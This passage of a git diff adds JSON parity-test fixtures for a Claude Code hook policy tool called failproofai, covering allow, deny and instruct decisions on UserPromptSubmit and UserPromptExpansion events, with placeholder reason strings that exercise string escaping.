"/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fe1f6cff --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..dd10fa72 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..473c4122 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..76ceee83 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b07b681e --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..555c4021 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..57e9ae6f --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9c6ad75b --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..38d6f588 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..dc371ea6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..cc919b9b --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..544a15a3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7b7c5d34 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..8c5a65a3 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2fd673a7 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..51d71d0c --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..7a3e3cf0 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..41c04944 --- /dev/null +++ b/__tests__/parity/fixtures/claude/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + 